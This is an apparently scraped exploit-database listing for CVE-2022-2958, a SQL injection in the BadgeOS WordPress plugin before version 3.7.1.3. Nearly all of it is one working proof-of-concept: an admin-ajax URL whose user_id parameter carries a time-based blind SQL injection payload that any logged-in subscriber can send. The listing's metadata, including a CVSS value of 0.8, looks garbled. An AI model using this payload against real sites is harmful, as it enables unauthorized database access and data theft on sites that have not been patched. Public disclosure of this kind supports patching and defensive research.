Exploit for BadgeOS < 3.7.1.3 - Subscriber+ SQLi CVE-2022-2958

Name: Exploit for BadgeOS < 3.7.1.3 - Subscriber+ SQLi CVE-2022-2958
Rating: 5 (302 reviews)

2022-08-23 | CVSS 0.8

## https://sploitus.com/exploit?id=WPEX-ID:8743534F-8EBD-496A-99BC-5052A8BAC86A
Open the following URL as any authenticated user (such as subscriber): https://example.com/wp-admin/admin-ajax.php?action=get-achievements&total_only=true&user_id=11%20AND%20(SELECT%209628%20FROM%20(SELECT(SLEEP(5)))WOrh)--%20KUsb